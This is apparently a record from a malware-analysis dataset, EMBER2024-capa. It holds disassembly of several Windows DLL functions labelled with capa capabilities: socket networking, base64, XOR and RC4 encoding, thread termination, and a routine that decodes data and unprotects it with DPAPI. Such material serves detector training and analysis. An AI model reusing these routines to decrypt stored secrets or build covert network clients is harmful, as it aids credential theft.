joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800115b0
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, r9
cmp rcx, 0xffffffffffffffff
jne 0x18001163b
movabs rcx, 0x4d54ee85da812030
mov dword [rsp + 0x24], 0
add rcx, qword [0x1801dba60]
lea rbx, [0x1801dba58]
cmp rcx, 1
jbe 0x1800115fd
mov rax, qword [0x1801dba58]
mov edx, 0x2719
mov rcx, rbx
call qword [rax + 0x30]
jmp 0x1800115ff
mov al, 1
movzx eax, al
add rax, 2
mov dword [rsp + 0x20], 0x2719
mov qword [rsp + 0x30], rax
mov eax, 0xffffffff
movsd xmm1, qword [rsp + 0x30]
mov qword [rsp + 0x28], rbx
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rdi], xmm0
movsd qword [rdi + 0x10], xmm1
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
mov rcx, rdi
mov ebx, eax
setne dl
call fcn.180011240
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180011660
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
cmp qword [rdx + 0x10], 1
mov rbx, rdx
mov rdi, rcx
je 0x18001168c
mov edx, dword [rdx]
jmp 0x1800116bf
mov rcx, qword [rdx + 8]
movabs rax, 0x4800144005b3
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0x14
imul rax, rax, 0x1ffff7
sub rcx, rax
imul edx, ecx, 0x3e8
add edx, dword [rbx]
xor r14d, r14d
lea rsi, [0x1801dba58]
movabs r15, 0x4d54ee85da812030
sub edx, 0x79
je 0x1800117aa
sub edx, 0x450
je 0x180011770
sub edx, 6
je 0x180011736
cmp edx, 1
jne 0x1800117fb
mov rcx, qword [0x1801dba60]
add rcx, r15
mov dword [rbp - 0x1c], r14d
cmp rcx, 1
jbe 0x180011728
mov rax, qword [0x1801dba58]
mov edx, 0x2751
mov rcx, rsi
call qword [rax + 0x30]
mov dword [rbp - 0x20], 0x2751
jmp 0x1800117db
mov al, 1
mov dword [rbp - 0x20], 0x2751
jmp 0x1800117db
mov rcx, qword [0x1801dba60]
add rcx, r15
mov dword [rbp - 0x1c], r14d
cmp rcx, 1
jbe 0x180011765
mov rax, qword [0x1801dba58]
mov edx, 0x2743
mov rcx, rsi
call qword [rax + 0x30]
mov dword [rbp - 0x20], 0x2743
jmp 0x1800117db
mov al, 1
mov dword [rbp - 0x20], 0x2743
jmp 0x1800117db
mov rcx, qword [0x1801dba60]
add rcx, r15
mov dword [rbp - 0x1c], r14d
cmp rcx, 1
jbe 0x18001179f
mov rax, qword [0x1801dba58]
mov edx, 0x274d
mov rcx, rsi
call qword [rax + 0x30]
mov dword [rbp - 0x20], 0x274d
jmp 0x1800117db
mov al, 1
mov dword [rbp - 0x20], 0x274d
jmp 0x1800117db
mov rcx, qword [0x1801dba60]
add rcx, r15
mov dword [rbp - 0x1c], r14d
cmp rcx, 1
jbe 0x1800117d2
mov rax, qword [0x1801dba58]
mov edx, 0x274c
mov rcx, rsi
call qword [rax + 0x30]
jmp 0x1800117d4
mov al, 1
mov dword [rbp - 0x20], 0x274c
movzx eax, al
mov qword [rbp - 0x18], rsi
add rax, 2
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x10], rax
movsd xmm1, qword [rbp - 0x10]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
mov rax, qword [rbx + 0x10]
test al, 1
je 0x180011816
cmp rax, 1
jne 0x180011898
cmp dword [rbx], r14d
jne 0x180011898
cmp rdi, 0xffffffffffffffff
jne 0x18001186f
mov rcx, qword [0x1801dba60]
add rcx, r15
mov dword [rbp - 0x1c], r14d
cmp rcx, 1
jbe 0x180011844
mov rax, qword [0x1801dba58]
mov edx, 0x2719
mov rcx, rsi
call qword [rax + 0x30]
jmp 0x180011846
mov al, 1
movzx eax, al
mov dword [rbp - 0x20], 0x2719
add rax, 2
mov qword [rbp - 0x18], rsi
movups xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x10], rax
movsd xmm1, qword [rbp - 0x10]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
jmp 0x180011898
xor r9d, r9d
mov dword [rsp + 0x20], r14d
mov edx, 0xffff
mov r8d, 0x7010
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
mov rcx, rbx
setne dl
call fcn.180011240
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rbp
ret
Function at 0x180011e70
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1801d72c0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, qword [rbp + 0x50]
lea r9, [rbp - 0x18]
xor r15d, r15d
mov r8d, 1
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov dword [rbp - 0x18], r15d
call qword [sym.imp.WS2_32.dll_WSASend]
mov esi, eax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rdx, qword [0x1801dba60]
lea r14, [0x1801dba58]
movabs r12, 0x4d54ee85da812030
mov dword [rbp - 0x2c], r15d
add rdx, r12
mov edi, eax
cmp rdx, 1
jbe 0x180011f05
mov rcx, qword [0x1801dba58]
mov edx, eax
mov r8, qword [rcx + 0x30]
mov rcx, r14
call r8
jmp 0x180011f0a
test edi, edi
setne al
movzx eax, al
movabs r10, 0x4800144005b3
add rax, 2
mov dword [rbp - 0x30], edi
mov qword [rbp - 0x28], r14
movups xmm0, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movsd xmm1, qword [rbp - 0x20]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
mov r9, qword [rbx + 0x10]
cmp r9, 1
je 0x180011f48
mov eax, dword [rbx]
mov r8d, eax
jmp 0x180011f78
mov rcx, qword [rbx + 8]
mov rax, r10
mov r8d, dword [rbx]
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0x14
imul rax, rax, 0x1ffff7
sub rcx, rax
imul eax, ecx, 0x3e8
add eax, r8d
cmp eax, 0x40
jne 0x180011fb7
mov rcx, qword [0x1801dba60]
add rcx, r12
mov dword [rbp - 0x2c], r15d
cmp rcx, 1
jbe 0x180011fac
mov rax, qword [0x1801dba58]
mov edx, 0x2746
mov rcx, r14
call qword [rax + 0x30]
mov dword [rbp - 0x30], 0x2746
jmp 0x180012024
mov al, 1
mov dword [rbp - 0x30], 0x2746
jmp 0x180012024
cmp r9, 1
jne 0x180011fea
mov rcx, qword [rbx + 8]
mov rax, r10
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0x14
imul rax, rax, 0x1ffff7
sub rcx, rax
imul eax, ecx, 0x3e8
add r8d, eax
cmp r8d, 0x4d2
jne 0x180012044
mov rcx, qword [0x1801dba60]
add rcx, r12
mov dword [rbp - 0x2c], r15d
cmp rcx, 1
jbe 0x18001201b
mov rax, qword [0x1801dba58]
mov edx, 0x274d
mov rcx, r14
call qword [rax + 0x30]
jmp 0x18001201d
mov al, 1
mov dword [rbp - 0x30], 0x274d
movzx eax, al
mov qword [rbp - 0x28], r14
add rax, 2
movups xmm0, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movsd xmm1, qword [rbp - 0x20]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
test esi, esi
je 0x18001204f
mov eax, 0xffffffff
jmp 0x180012066
mov eax, dword [rbp - 0x18]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbp - 0x20], r15
movsd xmm0, qword [rbp - 0x20]
movsd qword [rbx + 0x10], xmm0
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1801525e0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x1800129f0
Capabilities:
Terminate thread

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x1801d72c0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rax, qword [rcx + 0x10]
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov rbx, rcx
mov rax, qword [rcx + 8]
mov r9d, 0xffffffff
mov ecx, 2
mov qword [rsp + 0x28], rax
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lock xadd dword [0x1801e4958], eax
test eax, eax
mov rax, qword [rbx + 8]
je 0x180012a6d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1801525e0
add rsp, 0x40
pop rbx
ret
xor r8d, r8d
lea rcx, [fcn.180011130]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rbx + 8]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1801525e0
add rsp, 0x40
pop rbx
ret
Function at 0x180016b30
Capabilities:
Send data
Send data on socket

Disassembly:
push rsi
push rdi
sub rsp, 0x58
mov rax, qword [0x1801d72c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, qword [rsp + 0xa0]
mov r11, r9
mov rax, qword [rcx + 8]
mov r10, r8
mov rsi, rcx
lock inc dword [rax + 0x30]
cmp byte [rsp + 0x98], 0
je 0x180016b80
mov rcx, qword [rcx + 8]
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call fcn.1800139e0
jmp 0x180016c18
mov rcx, qword [rdx]
cmp rcx, 0xffffffffffffffff
jne 0x180016ba0
mov rcx, qword [rsi + 8]
xor r9d, r9d
mov r8d, 0x2719
mov rdx, rdi
call fcn.1800139e0
jmp 0x180016c18
xor eax, eax
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], eax
mov r8d, r11d
mov eax, dword [rsp + 0x90]
mov rdx, r10
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.WS2_32.dll_WSASend]
mov ebx, eax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test ebx, ebx
mov rbx, qword [rsp + 0x50]
je 0x180016c0c
cmp eax, 0x3e5
je 0x180016c0c
mov r9d, dword [rsp + 0x40]
mov r8d, eax
mov rcx, qword [rsi + 8]
mov rdx, rdi
call fcn.1800139e0
jmp 0x180016c18
mov rcx, qword [rsi + 8]
mov rdx, rdi
call fcn.180013950
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1801525e0
add rsp, 0x58
pop rdi
pop rsi
ret

Function at 0x180016c30
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
sub rsp, 0x58
mov rax, qword [0x1801d72c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, qword [rsp + 0xa0]
mov r11, r9
mov rax, qword [rcx + 8]
mov r10, r8
mov rdi, rcx
lock inc dword [rax + 0x30]
cmp byte [rsp + 0x98], 0
je 0x180016c80
mov rcx, qword [rcx + 8]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
call fcn.1800139e0
jmp 0x180016d31
mov rcx, qword [rdx]
cmp rcx, 0xffffffffffffffff
jne 0x180016ca3
mov rcx, qword [rdi + 8]
xor r9d, r9d
mov r8d, 0x2719
mov rdx, rbx
call fcn.1800139e0
jmp 0x180016d31
mov eax, dword [rsp + 0x90]
lea r9, [rsp + 0x40]
xor edx, edx
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x30], rdx
lea rax, [rsp + 0x44]
mov dword [rsp + 0x40], edx
mov r8d, r11d
mov qword [rsp + 0x28], rbx
mov rdx, r10
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x50], rsi
call qword [sym.imp.WS2_32.dll_WSARecv]
mov esi, eax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x40
jne 0x180016cf2
mov eax, 0x2746
jmp 0x180016cff
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test esi, esi
mov rsi, qword [rsp + 0x50]
je 0x180016d25
cmp eax, 0x3e5
je 0x180016d25
mov r9d, dword [rsp + 0x40]
mov r8d, eax
mov rcx, qword [rdi + 8]
mov rdx, rbx
call fcn.1800139e0
jmp 0x180016d31
mov rcx, qword [rdi + 8]
mov rdx, rbx
call fcn.180013950
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1801525e0
add rsp, 0x58
pop rdi
pop rbx
ret
Function at 0x180021af0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
mov rbp, r9
mov r14, r8
mov rbx, rdx
mov qword [rsp + 0x28], rdx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdx], r12b
mov dword [rsp + 0x20], 1
lea rcx, [r9 + 2]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 1
shl rdx, 2
mov rcx, rbx
call fcn.18002c410
test rbp, rbp
je 0x180021cec
mov edi, 3
lea r15, [0x1801a1f10]
nop
mov edx, r12d
lea rax, [rdi - 3]
cmp rax, rdi
jae 0x180021b97
nop dword [rax]
shl edx, 8
cmp rax, rbp
jae 0x180021b8f
movzx ecx, byte [rax + r14]
or edx, ecx
inc rax
cmp rax, rdi
jb 0x180021b80
movsxd rsi, edx
mov rax, rsi
sar rax, 0x12
and eax, 0x3f
movzx r9d, byte [rax + r15]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x180021bd5
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x180021bca
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180021be5
xor r8d, r8d
mov edx, 1
mov rcx, rbx
call fcn.180038790
mov rax, rsi
sar rax, 0xc
and eax, 0x3f
movzx r9d, byte [rax + r15]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x180021c20
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x180021c15
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180021c30
xor r8d, r8d
mov edx, 1
mov rcx, rbx
call fcn.180038790
lea rax, [rdi - 2]
cmp rax, rbp
jae 0x180021c4a
mov rax, rsi
sar rax, 6
and eax, 0x3f
movzx r9d, byte [rax + r15]
jmp 0x180021c4d
mov r9b, 0x3d
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x180021c79
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x180021c6e
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180021c89
xor r8d, r8d
mov edx, 1
mov rcx, rbx
call fcn.180038790
lea rax, [rdi - 1]
cmp rax, rbp
jae 0x180021c9c
and esi, 0x3f
movzx r9d, byte [rsi + r15]
jmp 0x180021c9f
mov r9b, 0x3d
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x180021ccb
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0xf
jbe 0x180021cc0
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180021cdb
xor r8d, r8d
mov edx, 1
mov rcx, rbx
call fcn.180038790
add rdi, 3
lea rcx, [rdi - 3]
cmp rcx, rbp
jb 0x180021b70
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1800221b0
Capabilities:
Decode data using base64 via winapi
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1801d72c0]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rsi, rdx
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
xor ebp, ebp
mov edi, ebp
mov qword [rsp + 0x68], rbp
mov dword [rsp + 0x50], ebp
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x1800221fc
mov rcx, qword [rdx]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor edx, edx
mov r8d, 1
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x1800222d1
mov edx, dword [rsp + 0x50]
test rdx, rdx
je 0x180022241
lea rcx, [rsp + 0x58]
call fcn.180045670
mov rdi, qword [rsp + 0x68]
cmp qword [rsi + 0x18], 0xf
jbe 0x18002224b
mov rsi, qword [rsi]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rbp
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rbx, qword [rsp + 0x58]
mov r9, rbx
xor edx, edx
mov r8d, 1
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x1800222d6
lea rax, [rbx + 5]
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x50]
add eax, 0xfffffffb
mov dword [rsp + 0x40], eax
mov ecx, reloc.WS2_32.dll_recv
call fcn.180152a74
mov rsi, rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x1800222d9
mov edx, reloc.WS2_32.dll_recv
mov rcx, rsi
call fcn.180152a40
jmp 0x1800222d6
mov rbx, qword [rsp + 0x58]
mov rsi, rbp
test rbx, rbx
je 0x18002230d
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x180022302
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180022336
mov rdx, rdi
mov rcx, rbx
call fcn.180152a40
mov rax, rsi
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1801525e0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.18015f738
int3
Function at 0x180028bc0
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x30
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x180028be4
xor eax, eax
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
je 0x180028c72
mov rdi, r15
mov qword [rsp + 0x68], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x180028c40
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x180028c40
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.180183610
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x180028c5d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + gethostname]
cmp eax, 0xffffffff
je 0x180028c65
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x180028c01
mov rbp, qword [rsp + 0x68]
sub r15, rdi
jmp 0x180028d50
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x180028c89
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180028c8b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180028cbd
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.180183610
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x180028d4d
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180028cf8
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x180028d2e
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.180169444
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x180028d4d
cmp rsi, rax
ja 0x180028d01
test rsi, rsi
je 0x180028d4d
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.180169444
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r15
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
Function at 0x18002a950
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x200
mov rax, qword [0x1801d72c0]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
movzx ebx, dl
mov rdi, rcx
mov eax, 1
lock xadd dword [0x1801e4998], eax
inc eax
cmp eax, 1
jne 0x18002a99f
mov ecx, 0x202
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [0x1801e499c], eax
test bl, bl
je 0x18002aa43
xor ebx, ebx
lock xadd dword [0x1801e499c], ebx
test ebx, ebx
je 0x18002aa43
movabs rcx, 0x4d54ee85da812030
mov qword [rsp + 0x210], rsi
add rcx, qword [0x1801dba60]
lea rsi, [0x1801dba58]
mov dword [rsp + 0x3c], 0
cmp rcx, 1
jbe 0x18002a9f8
mov rax, qword [0x1801dba58]
mov edx, ebx
mov rcx, rsi
call qword [rax + 0x30]
jmp 0x18002a9fa
mov al, 1
lea rcx, str.C:UsersAdminDownloads_boost_1_85_0__1__boost_1_85_0_boost_1_85_0_boost_asiodetailimplwinsock_init.ipp
movzx eax, al
add rax, 2
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x40], rsi
lea rcx, str.void___cdecl_boost::asio::detail::winsock_init_base::throw_on_error_struct_boost::asio::detail::winsock_init_base::data__
mov rsi, qword [rsp + 0x210]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], 0x48
mov dword [rsp + 0x34], 0x1a
test al, 1
jne 0x18002aa67
mov rax, rdi
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.1801525e0
mov rbx, qword [rsp + 0x218]
add rsp, 0x200
pop rdi
ret
lea r8, [rsp + 0x20]
lea rdx, str.winsock
lea rcx, [rsp + 0x38]
call fcn.180010e20
int3
Function at 0x180058910
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
cmp byte [rcx + 0x19], 0
mov r12, r9
mov rdi, r8
mov r10, rdx
mov rbp, rcx
jge 0x180058980
mov rax, qword [rcx + 0x80]
xor ecx, ecx
mov rdx, qword [rax + 0x10]
mov dword [rsp + 0x20], edx
test r8, r8
je 0x18005896e
nop word [rax + rax]
mov rax, rcx
and eax, 3
movzx eax, byte [rsp + rax + 0x20]
xor byte [r10 + rcx], al
inc rcx
cmp rcx, rdi
jb 0x180058950
mov rax, qword [rbp + 0x80]
mov rcx, rdi
and ecx, 3
je 0x18005897c
shl cl, 3
ror rdx, cl
mov qword [rax + 0x10], rdx
mov rax, qword [rbp + 0x80]
mov rdx, r10
mov rbx, qword [rax]
add rbx, 0x50
mov r15, qword [rbx + 0x10]
lea r14, [rbx + 0x10]
mov rcx, rbx
call fcn.180003fd0
mov r10, qword [rbp + 0x80]
mov rax, qword [r10]
cmp dword [rax + 0x70], 1
jne 0x180058a3a
cmp qword [rbx + 0x18], 0xf
jbe 0x1800589c7
mov rdx, qword [rbx]
mov rbx, rdx
add rdx, qword [r14]
jmp 0x1800589cd
mov rdx, qword [r14]
add rdx, rbx
lea rax, [r15 + rbx]
cmp rax, rdx
je 0x180058a3a
lea rbx, [0x1801998a0]
nop dword [rax]
cmp dword [r10 + 0x18], 0
movzx r8d, byte [rax]
mov r9d, r8d
movzx r11d, byte [r8 + rbx]
je 0x180058a03
mov ecx, dword [r10 + 0x1c]
and r9d, 0x3f
shl ecx, 6
or r9d, ecx
jmp 0x180058a12
mov r8d, 0xff
mov ecx, r11d
sar r8d, cl
and r9d, r8d
mov dword [r10 + 0x1c], r9d
mov ecx, dword [r10 + 0x18]
add ecx, 0x10
shl ecx, 4
add ecx, r11d
movzx r8d, byte [rcx + rbx]
mov dword [r10 + 0x18], r8d
cmp r8d, 1
je 0x180058a50
inc rax
cmp rax, rdx
jne 0x1800589e0
sub qword [rbp + 0x30], rdi
mov rax, rdi
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
call fcn.18001ac10
mov qword [rsp + 0x30], rax
xor eax, eax
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [r12], xmm0
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180093c60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp byte [rcx + 0x11], 0
mov r9, rcx
jne 0x180093cb7
movzx eax, byte [rcx + 0x10]
test al, al
je 0x180093cb7
cmp al, 1
jne 0x180093c79
test edx, edx
jne 0x180093cb7
mov r10, qword [rcx + 8]
test r8, r8
je 0x180093c92
mov rax, qword [r10 + 0x18]
mov rcx, qword [rax + 0x50]
mov eax, dword [rcx + 0x28]
bswap eax
mov dword [r8], eax
test edx, edx
je 0x180093cb4
mov rax, qword [r9]
mov rcx, qword [r10]
mov edx, dword [rax + 0x2f0]
cmp edx, dword [rcx + 0x80]
jle 0x180093cb4
cmp byte [rcx + 0xa], 0
jne fcn.18008ae60
xor eax, eax
ret
jmp fcn.1800938a0
Function at 0x1800a8470
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rcx + 8]
test rax, rax
je 0x1800a849f
lea r8d, [rdx + 1]
nop dword [rax]
mov ecx, dword [rax + 0xc8]
mov edx, r8d
xor edx, ecx
and edx, 3
xor edx, ecx
mov dword [rax + 0xc8], edx
mov rax, qword [rax + 0x10]
test rax, rax
jne 0x1800a8480
ret